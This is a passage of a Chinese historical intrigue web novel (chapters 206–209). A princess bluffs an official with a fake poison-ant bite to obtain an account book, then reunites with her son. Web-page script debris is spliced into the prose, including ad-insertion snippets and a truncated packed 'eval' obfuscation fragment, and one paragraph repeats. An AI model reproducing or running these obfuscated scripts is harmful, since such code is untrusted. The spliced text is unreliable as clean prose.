木箱里面挣扎的声音愈发崩溃:“王妃,王妃,老夫真的错了,你放我出去,我真的快喘不过气了。这些让人发麻的东西你到底是哪里弄过来的,我真的受不了了,你还不如直接杀了我。” “我都说了,你回答我的问题就是,有这么难吗?” “我说,我说。陈相一直想除掉王爷,可是他那个好闺女死活不肯,甚至用自己的性命威胁陈相,不让他下手。本来陈相也不是非要取王爷性命,做自己女婿就一切好说。可是王爷他不肯,说是至始至终没有这方面的打算。如此不识好歹,又是路上的绊脚石,几次坏了自己好事。陈相就趁着这次王爷出兵平定变乱的机会,让他再也回不到京城。” 虞初一脸不耐烦又朝着木箱子踢了两脚:“我问的是陈羽轻,不是你口口声声的陈相!” “哦哦哦,陈羽轻。王爷这边不肯娶人家,还默认肯羽轻常往来于府上。你说这不是欲拒还迎是什么!” “哼!” 206. 第 206 章 青蚁 虞初一直看着欲言又止的刘渡,箱子里面的动静越来越大,最后见她没有回应直接就暴躁了起来。 “都告诉你了,怎么还不肯放我出来!” 虞初思考片刻,食指跟中指在木箱盖子上清脆的敲了两下:“外面传言说陈羽轻出来找王爷,也跟着一起失踪了。我见到王爷数日了,也没见到她人,是不是她压根没有出城,所谓一起消失不见不过是个幌子?” “是没出来,被陈相关在府上了。要是她在外面,定会扰乱计划的。” “如此说来,陈府小姐还挺深情!” 木箱里没有回答,沉默了片刻。直到虞初再次开口,里面才长长的呼出了一口气。 “还算识相,怕惹毛了我彻底不放你出来了!”虞初看起来好像并没有生气,还有心思逗李四海。刘渡虽然一直按住裘郎中没办法往这边来,但眼神至始至终没有离开过这个角落。 虞初从木箱上跳了下来,往后面走了走,然后靠在墙上看着一只手支撑着木箱盖子,然后头顶着盖子鼠头鼠脑的探出来一颗脑袋。 “你要不要出来,不出来就回去!” “出来,出来!”李四海似笑非笑,脸上还夹杂着一丝丝的尴尬。许是待在木箱子里面时间太久,李四海的脖子有些难受。他跨出木箱,一手一直在后脖子处不停的捏着。可是越捏越难受,最后好像突然抽筋起来。他“啊”的尖叫了两声,脸上既惊慌又有些痛苦,像是被什么东西咬了一下。 刘渡摇了摇头,然后就又看着凳子下的裘郎中:“账本?” 裘郎中还是不说话,他转头看着李四海,越发觉得不对劲。 “你们对大人到底做了什么?”裘郎中顾不上身上还有个长凳,就要往李四海那边过去。可是刘渡用力踩在凳子上,他最后也只是挣扎了几下就又消停下来。 李四海看了看捂住后脖的手,不相信什么都没有,又将手伸到后面摸了一圈继续看了看,还是没有。 “不对,我这后面明显被什么东西咬了一下,疼得厉害。”李四海狐疑的扭头看了看那个木箱子,下面还有蚂蚁在继续往箱子里爬。他打了个冷颤,然后默默的看向了虞初。 “你看着我做什么,我可没做什么。这箱子也不是我让你进去的。这青蚁也不是我招来的,不能就因为我坐在木箱上一会,就什么都赖我了。”虞初无奈的耸了耸肩,然后往刘渡那边走去。她躲在刘渡的身后,俯看着地上的裘郎中,一脸无辜道,“那青蚁是你招来的吧?” 裘郎中本来看到虞初过来还满脸不屑,他转过头去都懒得看虞初一眼。突然听到虞初说这话,激动的整个人一下子弹了一下。无奈身上还有凳子压着,憋的满脸通红的裘郎中气呼呼道:“休要血口喷人,我都没听过什么青蚁,又怎么招来这些个东西!” 虞初展了展眉头,似乎并不打算相信裘郎中的话。她转头看了看李四海,两手一摊:“他说不是他,我也没有办法了!” 李四海看了看裘郎中,然后半信半疑的走到虞初跟前:“你说的青蚁是什么东西?” 此刻屋里三个人的目光都聚集到了虞初的身上,都干巴巴的看着虞初,想要了解这个奇怪的“青蚁”到底是什么东西。虞初此刻非但没有立马解释,反倒是卖起了关子。 “不是很清楚,你们都没有听过,那我也没听过。” 刘渡看着李四海两脚直跺,脸上的皱纹都挤成一团了,忍不住闷笑了两声:“你要是知道些什么,就告诉李大人,你看他都慌成什么样子了!” 虞初听话的抿了抿嘴:“好吧,既然我们王爷都发话了,我就将我知道的都告诉你吧。” “王妃快说!”李四海连忙大步向前走到了虞初跟前。他两手紧握在身前,一脸急迫的伸长了脖子静听虞初的话。 “先前我来过曹娘的房间,这青蚁就是曹娘养在屋子里的。当时她说……”虞初有所顾忌的看了看躺在地上不得动弹的裘郎中,然后又连忙转头看着李四海欲言又止,“算了,就算我说了他也不会承认的!” 李四海似乎猜到了什么,两眼疑惑的盯着裘郎中看了一会:“王妃你说,老夫心中有数!” 本来就不淡定的裘郎中看到李四海用这样不信任的眼神看他,也愈发激动起来:“大人,你心中有什么数啊,我真的不知道她说的“青蚁”是什么!” 李四海不耐烦的甩了甩手:“你先不要说了,我想听听王妃说话!” “这青蚁就是曹娘养的,当时我看到这青蚁一眼就认出了这是剧毒蚂蚁,还奇怪曹娘怎么会将这种剧毒之物养在器皿之中放在房间里,万一跑出来,第一个遭殃的就是她。所以我就多嘴问了曹娘,她说一般人都不知道这青蚁,是她上面的人让她找来的,说是到时候可以神不知鬼不觉的解决掉一些不好掌控的人,比如那些不听话的姑娘。当时我还背后一凉,心想自己可千万被这青蚁咬到。” “咬到会如何?”李四海急切的将头凑到虞初跟前,虞初往后闪了一下又故作镇定道:“你问裘郎中不就知道了,这青蚁是曹娘上面的人让她养的,她上面的若不是你李大人,不就只能是他裘郎中了吗?” “你放屁,满口胡言,我哪里让曹娘养过这等东西,这看着不就跟普通的蚂蚁一样吗?” 虞初耸了耸肩无奈的朝着李四海摇了摇头:“你看,他说跟普通的蚂蚁一样,你觉得一样吗,李大人?” 李四海下意识的又伸手摸了摸自己的后脖子,然后怒目瞪着裘郎中:“到现在被咬的地方还在隐隐作痛,而且现在好像比刚刚还要更疼了一些!” “是了,我之所以会认识这个青蚁,也是因为之前我在外面的时候见过。村民们看见这青蚁都避之不及,说是被这个青蚁咬了之后,刚开始还好,只是用不上三日,这针口大小的伤口就会溃烂至碗口大,然后脓血流淌之处皆会起脓,最后全身溃烂,化成一滩血水。用不了一月就会只剩白骨,任谁都难以辨认身份。通常心怀不轨之人都会用这青蚁毁尸灭迹,做一些见不得人的勾当。李大人你这船上是何状况,我想你比我还要清楚。有没有可能会用青蚁来销毁一些不想让人瞧见的东西啊,人啊,我不知道,你还不清楚吗?” 李四海低头将虞初的话听进了心里,他不可置信的看着裘郎中,他眼睛瞪得滚圆,忍不住上前往凳子上狠狠的踩了一脚:“我就说我此刻的伤口怎么会越来越疼,原来是这等凶残之物。我就说你为何非将我往这里带,原来是藏了这等祸心,岂有此理!”李四海此刻心里是既害怕又懊悔,恨自己怎么就轻易听信了裘郎中的话跟着他来了这里,还被他安排在这个蓄谋已久的木箱里。如今自己被青蚁咬了,那是踩上一百脚也不能让他消气半分。 “大人息怒,这青蚁真的不是我让养的,我就顶多让她用些让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人昏睡之药,这等害人之物,我是闻所未闻。或许是她自己擅作主张养的也说不定,真不是我!” 虞初看见李四海眼神有了一丝闪动,立马接话:“裘郎中自然不会承认,如今曹娘死无对证,你说不是你,那便不是你。我们也不能奈你何不是?” 李四海脑瓜子嗡嗡的,总觉得毒性发作,伤口越来越疼。他不停的伸手去摸后脖上的伤口,连呼吸都开始变得不太顺畅了。 “裘郎中,你们李大人看起来对你还是很信任的,我这看着对你应该也不薄,你还是将解药给他吧!” 李四海听见解药两个字立马两眼发亮,刚刚死灰一般的脸立马变得活跃起来。“裘培,解药呢?” 裘郎中拍了拍自己身上的凳子,示意刘渡稍微宽松些。刘渡正看戏看的起劲,也就将脚抬了一些,让裘培的身子往上窜了一些。不过也就窜了一掌距离,再多的也就不给机会了。 “我哪里来的解药,大人,我真的不知道这青蚁为何物!”裘培急的两手在地上狂捶,即便如此,李四海还是认定了他是有解药的。 “你既在外面见过这个,想必周边村民都是有解药的,不然你也不会知道裘郎中手里肯定有解药?”刘渡一本正经的问虞初,可是虞初只是假装没有听到,站在原地一动不动,也不准备回话。 李四海见裘培还是不肯松口,又听见刘渡问话虞初,又满还期待的跑到虞初跟前:“王妃若是知道解药,开个条件,我都依你!” 虞初看着眼底里满满求生欲的李四海,话到嘴边又憋了回去。她昂头转了过去,随口一句:“我不知道。”就让李四海又塌了天。 “你怎么会不知道呢,你们不就是想要账本吗,只要你告诉我解药,我可以考虑将账本给王爷的!”李四海一脸真诚的看着虞初,满脸期待的一直往虞初那边移动脚步,只希望她考虑考虑自己的提议。 “大人,我知道了,那个青蚁是她带过来的,就是想逼你叫出账本!我压根就没听过什么青蚁,肯定是她!”裘培死命挣扎着,扯着喉咙试图阻止这张交易。 李四海冷笑:“命都没有,我要账本有何用!” “我确实知道解药,不过这青蚁还真不是我带过来的,你休要将事情都推到我们身上。再说,我为何要跟你李四海做交易,你横竖都要死了,那个躺在地上的又是瓮中之鳖,也翻不起什么大浪。等你死了我立马逼问他,或杀或逼,总归能拿到账本,我也不想多事,给王爷添置没必要的麻烦。” 最后一个筹码眼见着也不顶用了,李四海身子立马软了不少。刚刚本不顺畅的呼吸变得更加急促,脸也开始通红。 “账本,还有我的腰牌,我全给你们如何!” “大人,陈相不会放过你的!” 李四海转头“呸”了一声,涨红了脸嘀咕道:“化作白骨必死无疑,逃不逃的出五指山那都是后话,我为何不能博一把。” “既然李大人求生心切,我就不做这个见死不救的坏人了。” 听了这话,李四海的呼吸好像立马顺畅了不少。刚刚还在阻止李四海交出账本的裘培此刻也不再阻挠,他在李四海手下多年,一切以李四海马首是瞻。如今既然他已决定,那也只好顺从。 “多谢王爷救命之恩,多谢王妃救命之恩!”李四海生怕虞初反悔,还未等她开口,就已经将感谢的话全都说尽了。 207. 第 207 章 李四海先是从自己腰间摘下来一个腰牌递给了刘渡,刘渡拿到手上看了看又抛给了虞初:“你留着,有了他你后面去京城也会方便一些。” “去京城方便?”李四海欲哭无泪的委屈道,“就我这腰牌,能做的事情可不只是方便而已。你们也太大材小用了吧!” 刘渡没有理他,倒是虞初前后仔细的查看了一番,确认是真的才收了起来。 刘渡又看了看凳子下面的裘郎中:“现在到你了,账本呢?” 李四海撇了撇刘渡:“你怎么知道这账本不在我身上?” “你武功没有裘郎中好,若是让你将账本带在身上,但凡你被谁抓到,账本必定会被拿走,所以不会给你。至于裘郎中,我想账本也不在他身上。”虞初走到曹娘床边捡起地上的琉璃盏可惜的摇头感叹,“这么精致的琉璃就这么被你们糟蹋了,就算是取账本也没必要毁了容器,你看这工艺,实在是可惜,太可惜了。” 李四海惊诧的走到虞初身边,他左右看了看周围,好像除了这盏琉璃灯地上还又好多瓷器的碎片,怎么这虞初就一口咬定这琉璃灯就是藏账本的容器。他刚想问虞初,虞初就将地上的几个碎片都捡了起来。 “曹娘还是厉害,账本为纸,易燃之物。任谁都想不到这账本竟然会藏在这琉璃盏的下面。我那日来曹娘屋里看到这盏琉璃盏的时候还在想,这里面的蜡烛并不高,怎么这灯会有两个蜡烛的高度。难道是特地做了一个比平常蜡烛都要长上一倍的蜡烛放在里面。”虞初又捡起地上的一个圆形铁片,“直到刚刚我在碎片旁边看到了这个铁片我才反应过来,原来这琉璃盏中间是用这铁片隔开的,只要将账本先放到里面,上面盖上一曾这样的铁片,那蜡烛无论多短或是倒下也不会烧到账本。你说还有比这里面更适合藏东西的地方吗,反正我是觉得曹娘在这一点上还是很聪明的,你说是不是,裘郎中?” 裘郎中转头不理会虞初,也不反驳虞初的话。 “至于这琉璃盏和账本为何会在曹娘的房间,我想这本来就是裘郎中的房间,不,应该是你和曹娘的房间。在一起这么久,你刚刚竟然对她说灭口就灭口,还真是无毒不丈!” 李四海听到这里欲言又止,他半信半疑的看了看裘郎中,然后又环视了整个房间一圈后小心翼翼的打断的虞初的话:“那个,那个曹娘是我杀的!” 虞初知道灭口曹娘的是李四海后也没有收回刚刚骂裘郎中的打算,毕竟刚刚在那里,裘培也只是打算将李四海带走,跟自己亲手杀了她又有什么区别。 虞初也懒得跟他们在这里讨论裘培和曹娘的事情,她伸手到李四海的跟前,眼睛朝着手心心看了两眼:“账本?” 李四海转头看了看裘郎中,见他还不肯开口,自己就先着急了起来。 “快说,再不说我脖子上就有碗大的洞了。” 虞初差点没被李四海这句话说的失去了表情管理,好在整个房间的气氛还是很压抑的,很快她便调整好情绪继续一脸严肃的盯看着裘郎中。 裘培无奈,就算心里再不想交出账本,又怕李四海是真的中了那个什么青蚁的毒,只好老实交代了。 “在桌子底下的暗匣里面,你只要蹲下去就能看到了。” 虞初快速的跑到桌子下面看了看,果然在桌面下面有一个暗匣。她打开匣子,里面果真是有一个账本。虞初将账本拿了出来递给了刘渡,见他满意的点了点头才开始对解药的事情松了口。 见李四海如此恳切,虞初也就不再卖关子了。她走到裘郎中的身旁蹲下,眼神在他的上半身大量许久才又转头喊李四海过去。 “你看看他身上有没有解药,自己掏掏”说完虞初就往身后推了推让李四海过去她刚刚在的位置。李四海听了虞初的话,知道裘郎中身上可能就有解药哪里还等得及,立马就上前搜了一番。果不其然,在裘郎中的胸口掏出来一个小瓶子。瓶子不大,花纹倒是很精致。 “这个就是解药吗?”李四海先是看着裘郎中问话,突然意识到他可能不会承认,就又将瓶子直接递给了虞初,“王妃,你瞧瞧这个是不是你说的解药。” 虞初接过李四海手上的瓶子,打开倒下来几颗药丸。用大拇指和食指捡起一颗放在口鼻处闻了闻:“是了,之前我给村民喂过解药,跟这个味道是一样的。”说着就拿起一颗放在李四海手心里,“李大人先吃解药,被到时候伤口开始溃烂就来不及了。” “这哪里是什么解药,这分明就是我随身带的缓解头痛之症的。大人,你莫要信了她的胡话。”裘培看着李四海嘴角都快气歪了,但是李四海哪里肯睬他,直接就吞下了虞初递过来的解药。 李四海吃完解药摇了摇脑袋,好像一下子自己的头就清醒了不少,呼吸顺畅,眼明耳聪,很是爽朗。他上去踢了一脚裘培,嘴里还不忘嘀咕谩骂起来。 “果然是解药,有解药你不给我,你怕是陈云的人吧。说,他到底给了你多少好处!” 刘渡松开裘培身上的凳子,转身掸了掸自己身上的灰尘,任由李四海在那边不停的责问裘培。他走到虞初身边坐下,抓起桌上的瓜子就剥了起来。 “他脖子上真被咬了?”刘渡先是剥了一颗瓜子仁送进了虞初的嘴里,虞初先是让了一下,见刘渡不肯罢手就伸手接了那颗瓜子仁再放进嘴里。 “王爷这样有些受宠若惊,也不知道随意进出府上到底是什么级别的待遇,我反正记得那时候我在府上的时候,但凡要出去肖成都会知会王爷一声吧。” 刘渡点头微笑,他好像很享受虞初此刻的翻旧账。接着又剥了一颗瓜子仁又递到了虞初嘴边。 “你有完没完,不吃!”虞初这次没有接,而是将刘渡的手打开了。自己在意的问题没有被正面回应,现在还只当什么都没有发生一样,在虞初看来,根本就是没有把自己放在眼里。 “他来府上的时候我都不在,这么多年也只有两次在府上见过,不过我可没有留她吃饭,更没有给她剥过瓜子仁。”刘渡再次将?的瓜子仁放在虞初嘴边,虞初听完刘渡的话心下暗爽,得意的接过刘渡手上的瓜子仁吃了下去:“这还差不多。” 虞初看了看李四海还在那边跟裘郎中纠结为何对方要对自己下毒,虞初伸出袖口露出一根银针偷笑:“哪里有什么青蚁,我刚刚坐在木箱上的时候扎了他一下而已。” 刘渡看了看半根筷子长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的银针,在看了看李四海眉头紧缩:“你怎么确定是扎的他的脖子?” “听他说话的声音啊,风川经常跟我玩这样躲猫猫的游戏,我经常会听他的声音辨别他在暗处的姿势。”虞初随口回答的话让刘渡愣在那边发呆了好一会。 “风川……”刘渡刚想问些什么,虞初就继续刚刚的话说道:“刚刚从里面的声音听来,我这一针扎下去不是后脖子就是后背,反正这样的说辞还是有效的。那裘郎中一直在你脚下压着,也没有机会帮李四海查看伤口。家上我这针尖上淬了点丝红,就是碰到伤口会越来越疼,半个时辰便可缓解疼痛。” “丝红?”刘渡饶有兴致的看着虞初,这几天他已经在她身上看到过好几种毒药和解药。 “嗯,丝红。这不是毒药,是帮助伤口愈合的一种药物,只不过刚碰到破皮的地方会疼,也正因为起了药效才会如此。” “几年不见,你不光医术见长,连撒谎都已经到炉火纯青的地步了。”刘渡眼底很复杂,他看起来在笑,可是笑意之下又藏着一丝悲凉和心疼。 “对付李四海这样的老狐狸,你跟他讲道理是没有用的。只能走这种歪门邪道的野路子。”虞初得意的看着李四海,突然发现李四海转过头看着自己,又立马克制的拉下了脸装的一本正经的模样。 “李大人,你有没有想过,裘郎中为何会背叛你?”虞初继续扯着嗓子在这添油加醋。 裘培尽管武功不错,但是在李四海如此拳打脚踢的情况下依旧没有反抗过一次。虞初倒是对裘培有了点兴趣。她走到裘郎中旁边:“李四海到底是你什么人,竟然对他这般衷心。” 裘培依旧不理会虞初,可是李四海倒是停下了手里的动作,也不继续打他,而是也想听听虞初刚刚那个问题的答案。毕竟他之所以这么生气,也是因为李四海自己也不相信裘培会背叛自己。 “不管大人你信不信,这青蚁真不是我养的,至于这解药,我还是那句话,是我吃头疼的药。” 李四海疑惑的看了看虞初,刚想往旁的地方考虑,虞初立马接话:“那可能真是曹娘养的,裘郎中不知道也说不定呢。养在自己屋里的,给他那治疗头疼的药里面加点接触青蚁毒性的解药,也是为了保他平日周全吧。可是你们住在一起,这曹娘做事你竟然没有发现,怎么说也不应该吧。” 裘郎中终于按耐不住的朝着虞初大叫了起来:“从头到尾都是你在这边猜测。发现青蚁的是你,知道解药的是你。说曹娘死无对证的是你,暗示曹娘和我狼狈为奸的也是你。你到底打得什么心思不妨直言,用不着在这颠三倒四的指黑为白。” “别的不说,就这屋子,你自己说,是不是你和曹娘一起住的?”虞初指着曹娘的床,“这种天气,就算再怎么怕冷也用不着盖两床辈子吧。还有那个梳妆台,曹娘这么喜欢打扮的一个人,竟然梳妆台上只有几盒胭脂水粉,旁的都是刀剑放在上面,我猜那个也都是你随手扔的吧。就这琉璃盏我刚开始还在想这么珍贵的东西,怎么说给她就给她了,若是你本身就住在这里,这里面这么多珍贵器皿玩意也就都说得通了。” 裘培听后无从反驳只好爽快承认:“那又怎样?” 208. 第 208 章 “别的不说,就这屋子,你自己说,是不是你和曹娘一起住的?”虞初指着曹娘的床,“这种天气,就算再怎么怕冷也用不着盖两床辈子吧。还有那个梳妆台,曹娘这么喜欢打扮的一个人,竟然梳妆台上只有几盒胭脂水粉,旁的都是刀剑放在上面,我猜那个也都是你随手扔的吧。就这琉璃盏我刚开始还在想这么珍贵的东西,怎么你说给她就给她了,若是你本身就住在这里,这里面这么多珍贵器皿玩意也就都说得通了。” 裘培听后无从反驳只好爽快承认:“那又怎样?” “不怎么样,我只是想不通,日夜相伴的人死在自己眼前,你竟然无动于衷。” 李四海听后也忍不住看了看裘培,说实在的他确实不知道裘培跟曹娘的关系,可是死都死了,他也不可能再裘培跟前纠正自己的不是。 “我是被大人从死人堆里捡回来养大的,从那之后,我不缺衣少食,甚至拥有了许多人追求一辈子都不曾得到的财富和权利。养育之恩再生之德,别说一个曹娘了,就是十几个曹娘也没办法跟大人想比。” “所以你为了这救命之恩帮他做这样的腌臜事情,拿无数条性命去成全你的衷心,算什么恩德?” 裘培不说话,甚至在他的脸上看不出一丝的愧疚。他从来不会去深究李四海所做之事的对错,也不会去质疑他的初衷,他的唯命是从从来都是唯一的选择。而李四海听到此处也开始狐疑的看着虞初,他似乎明白了自己刚刚对裘培的质疑是这几天他做的做可笑的事情。 “所以那根本不是裘培养的青蚁,是你设的全套。” “这话从何说起,李大人。”虞初面对李四海的质疑面不改色。她从腰间掏出李四海的腰牌放在眼前又仔细看了两眼,“我见过王爷的腰牌,也就比李大人这个好一些而已。这得是全金子打造的吧,若是想要造假成本也太高了些。” 李四海想要上前夺回自己的腰牌,可是虞初早有准备,连忙向后退了几步笑道:“我一个女子都知道一言九鼎,给人的东西还想要抢回去,没有这个道理!” “哼,早该想到是你做的局,都怪老夫对王妃还停留在八年之前的印象,虽说不上温婉端庄,但也不至于如此跳脱鬼精。”李四海若有所思的看了看刘渡,见他事不关己的模样,倒像是一个气定神闲的观客。 李四海缩回了想要抢回腰牌的手,走到刘渡身旁。 “如今这北齐,怕是要改姓陈了。宫里都成什么样了,你还有心思在我这船上花心思?” “你这船还真是值得我来花心思,我刚刚只是简单的翻看了两眼你这账本,真是精彩。账上的这些银两入库出库都有详细记载。入库琐碎却笔笔丰厚,出库就值得深思了。动不动就是几万两。细想如今这北齐,哪里需要如此大的手笔,思来想去好像也只有军队了吧。” 李四海并不惊讶,相反他反而自嘲冷笑了两声:“我早说过,,留你不得,可是陈云他不听,他虽知你有些才能,但又想拉你入营,成全陈羽轻的心意。竟不知是自己的一时大意放虎归山,只是你这只老虎,是纸是实,老夫就不得而知了。” 刘渡也不再故弄玄虚,拿着手上的账本走到李四海的面前拦住了李四海的去路:“这些银子,所去何处,李大人明示!” 李四海不吭声,裘培也警惕的站直了身子,两手紧握,一副随时准备动手的架势。 “李大人,就算我现在把腰牌和账本给了你,可是里面的内容我已经知道了,也知道了你们的意图和动机。你说,陈云听到有些话是从我嘴里说出去的,他会怎么想?” “你要挟我?” 刘渡很是不屑的哼了一声,坦然应道:“是,我这手段是不够光明磊落,可是相比你们对我下的圈套毒手,我不觉得委屈了你。” 李四海沉默许久,就在虞初以为他不会说出来的时候,李四海突然从嘴里蹦出来两个字。 “四军!” 万尘安正巧赶到此处,刚进来的时候也听见了那两个字。 “我早就怀疑四军是有问题的了。” 李四海顺着声音转头看向刚进来的万尘安小声哼骂道:“马后炮!” 万尘安虽然听见李四海的话也不在意,走到刘渡眼前得意的笑了笑:“我就说四军有问题吧,当初那些废旧兵器我查了那么久,只有前三支队伍有这样的兵器,而四军,没有,一个都没有!不过你放心,该准备的我都准备好了。” 李四海听到万尘安和刘渡的话一时摸不着头脑:“准备什么?” 万尘安冷不丁的盯着李四海回了句:“我可是马后炮,等事情结束了我指定会告知李大人的。” 李四海尴尬的笑了笑还是穷追不舍道:“刚刚也是无心之言,万公子何必当真。” “若真是放在心上未免是太小心眼了些,我又不是你李大人,当初我在朝堂上骂了你一句,记恨我好几年,三天两头不是参我一本就是跟我父亲告状,就是我父亲都没有像李大人你那样关注过我,还是李大人厚爱。” 李四海好没意思的抿了抿嘴,确实前几年一直抓着万尘安的小事不断,参过他几本。其实李四海针对万尘安也不像旁人所言的那样,因为他是万秦的儿子,是陈云和万秦的较量。主要是这个万尘安确实碍事,还喜欢捣乱。好几次自己的好事都被万尘安破坏了,害的自己“粑耳朵”的名声日益宏达,最后导致城里上到朝廷百官,下到平民百姓都知道自己被老婆吼一声三天不敢大声说话的光荣事迹。 “四军一直是圣上的军队,如今细想,那四军中早就有了奸细叛徒。” 李四海听到万尘安的分析还是忍不住的吐槽了一句:“哪有什么奸细,只不过这四军从先帝在时,就一直是陈相掌实权的。后来为了拉拢当今生上故意给他的。” 万尘安恍然大悟的点了点头,然后若有所思的看了看刘渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虞初看着李四海失神无主的模样才明白了,李四海的后盾从来不是陈云。刘渡应该早就看清了这点,才会这样毫无声息的解决了裘培,以便之后更好的牵制李四海。 “初儿,走!”刘渡伸手牵过虞初的手腕就出去了。虞初在万尘安和肖成的协助之下遣散了船上的女子,若是无所依靠的就让极风娘子安置到刘渡先前开药店酒楼做些琐碎之事来维持生计。船上还没来得及转移的钱财自然也是被肖成没收,至于那些平日习惯作恶多端还没有悔意的几个老人,虞初也懒得跟他们啰嗦,直接安排人将她们送到了离京城近一些的官府衙门里,随之带去的就是一纸诉状,将他们平日里所作所为悉数列举在上,任凭在任之人裁决。虞初虽不曾过多过问,但是刘渡安排的人,自然不会不了了之的。 岸边易桦扶住神态已经正常了的钱丛站在虞初对面。极风娘子忙着遣散众多女子的事情也顾不上过来这边,易桦眼神跟着极风娘子飘动了几个地方最终落在虞初的脸上。 “珍珠,哦不,王妃。我之前总觉得你不像是普通人,中间怀疑过几次都被你糊弄过去,如今想想,普通人家的姑娘哪会有王妃这样的胆魄,是我眼拙了。”易桦本想伸手拍拍虞初,突然意识到不妥,有赶紧将手缩了回去。 虞初见状连忙在空中捕捉到易桦的手握住:“做什么,是虞初亦是珍珠。” 易桦无言,只是微红了双眼。旁边饿钱丛伸手也抓住了虞初的手缓缓起音:“这一别……怕是难见面了……” 209. 第 209 章 虞初没有像往常那样安慰钱丛,反而停滞思虑片刻问起了钱丛接下来的打算。 “父母年老,先前作为让他们伤了心,也该回去为他们在吴中的心血多尽力一份了。”钱丛说到这里,看了看易桦,“你为何不曾回去?” 易桦无奈的苦笑:“我跟你不一样,那个家里没有惦念的人,只有想尽办法从我身上吸血的人。我宁愿在外飘荡也不会回去的。” “既是如此,那你跟我去吴中吧。” 面对钱丛的邀请易桦的脸上突然有了一丝震惊,有过片刻犹豫之后还是笑着拒绝了。 “我就不去了,我学的针线活是用来缝补衣裳的,不像你们那样有价值,随便绣个花都那么漂亮生动。总不见得我去吴中也去帮你们家砍柴做饭不成,我会的也只有这些粗活。”易桦刚刚还在僵笑的脸上此刻甚至连笑意都不见了。虞初见她自卑如此刚想上去说话,钱丛就牵起易桦的手柔和笑道:“我只当是别的什么原因,若是这个那就更加好办了。我们家是纺织业务,不仅有绣工,更有染布织布这些个步骤。易桦姐姐我先前明明听你说过的,你常年在家织布料变卖出去为家里做些添置的,难不成是怕到了我们吴中,还会放任你闲着不成?” “看吧,请人回去做客还要干活,那吴中我可不敢再去了。”虞初拉着易桦的手,手上的力气多使了些,疼的易桦直接叫了起来:“怎么你这等娇柔的手力气会这么大,枉我平日里替你做了那些个粗苯的活计。” 虞初看着易桦突然止住了脸上的笑容,一本正经的看着易桦:“平日里我不说,不代表我不知道。易桦你每次都把那些活默默的全干了,我心里很是感激。日后若有机会,我定会去吴中见你们,这等情分我虞初是记在心里了。”她说话间看了看钱丛,欲言又止。 钱丛早就知道她的踌躇是为了什么,她一把握住易桦和虞初的手,眼里一下子湿润了不少:“我心里都明白,你们还是很担心我。不过王爷竟然费了那么大劲说我表哥是在慌乱中不知被何人所刺让我脱了身,我就再没有原因要为了那样无情无义无心的人难过自责了。万大人跟我说让我早些离开这个地方,我知道你们的用心,珍珠你放心。” “发生这样的事情,想要彻底走出来还是得靠你自己。”虞初还欲再说,钱丛手一用力阻止了她。 “你想说的我都明白,说心不疼是假的。只是这些我心里更清楚,都会成为过去。我现在只想回去好好将我们吴中钱家的纺织业做的更好,珍珠你相信我。” “你既如此说,这事我们便不再提了。这里去吴中还是有些路途的,等会我让王爷派几个人护送你们回去,这样我也放心些。” 极风娘子此时走过来插话道:“不用麻烦万尘安了,我等会找几个人送她们回去吴中。” 虞初顿悟笑道:“还是肖浅你想的周到些,毕竟你那些手下都是女子,这样回去,左领右舍看到也不至于会说一些绘声绘色的故事。” 易桦点了点头没有推脱:“这一路我就不跟你们客气了,说实话这几日我吓得够呛。去吴中的路上也保不齐会发生什么事情,主要我也怕余党找我们俩算账。” “放心,我的人,虽都是女子,随便一个都顶的上十个男子。”极风娘子说完又被旁人叫走去安排其他事情了。 “珍珠,我和易桦先回去收拾行李,收拾好我们就准备上路了。” “这么快?” “嗯,而且我看你和王爷好像也有很多事情要做,我们帮不上什么忙,不耽误你也是好的。”钱丛看着一直站在虞初身后的刘渡笑道,“你赶紧跟王爷走吧,贝贝说了会安排我和易桦自然会妥当的。我看有人等你很久了。” 虞初也回头看了看刘渡,她没有再说挽留的话。既然要走,早晚也没什么区别。 “若是有机会,我会去吴中走一趟。听说那边的景色美极了。” “会有机会的。” 钱丛虽不知道虞初他们接下来会遇到什么事情。但是她多少零碎的听他们说了几句,知道他们形势严峻。虞初没有承诺她们一定会去,但她只想要一个肯定的答案,这是对她最好的祝愿。 当晚,刘渡欲带着虞初回京,可是虞初不肯,她执意去了先前的那家客栈。刘渡虽不解,但还是默认的跟着一起去了。 万尘安骑马走在刘渡旁边,看着马车里一脸疑惑:“青草和影儿传个信让她们直接去京城不就好了。怎么还要主子亲自去接上一起走。” 刘渡没有说话,他眉间紧皱,这一路都没有松弛过一下。直到到了客栈,虞初刚下车时,里面冲出来一个孩子抱住她直喊“娘亲”的时候,刘渡整张脸都是煞白的,久久没有恢复。万尘安站在旁边深深的吸了口气,转头看了眼肖成,二人默默的往旁边移了又移,最后直接就看不见人了。只有两颗脑袋在一棵壮大的古树后面探了出来,不仔细看,也看不清楚,只觉得是两个黑圆影罢了。 虞初哪里注意得到刘渡早在身后脸色不对,就连跟着风川一起跑出来的青草和影儿也突然僵在原地不敢说话。 虞初开心的将风川一把搂紧怀里,手还在他的后背反复摸蹭了几下:“风川这几日好像瘦了,快给娘亲好好瞧瞧。”说着虞初就扒拉着风川在原地转了几圈,“影儿和青草将你照顾的好好,就是这脸上的嘟嘟肉少了一些,是想娘亲想的吗?” 许久未见,虞初反复将风川搂入怀中。 “娘亲你怎么也瘦了,看来也是想风川了。这次娘亲本来说去几日就回来的,真是骗人,再不回来风川都要生气了。”小嘴虽然嘟囔着生气,可是手还是去搂住了虞初的脖子,将嘴巴在她的脸上上蹭了蹭,开心的吱吱笑着,看的旁边的人心都化了。 当然,也有人心都死了一大半。 “娘亲,那个叔叔是谁?”风川一脸疑惑的看着虞初身后眼神冰冷的男子,“我不喜欢他,他好凶!” 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万尘安看着一脸无辜的虞初,始终没有说出一句责怪的话。好像不管她怎么做,也都是在情理之中的。他上前走到风川旁边,蹲下身子伸出手笑嘻嘻的问道:“你好,风川,我是你万叔叔。” 风川懵懵的看了看万尘安,又转向看了看虞初似乎想从她娘亲脸上确认一下。 虞初果然笑嘻嘻的点了点头:“是万叔叔,他跟你刘叔叔是好友,都是很好的人,也都是娘亲以前的亲人好友。” “这些朋友风川以前从未见过。” 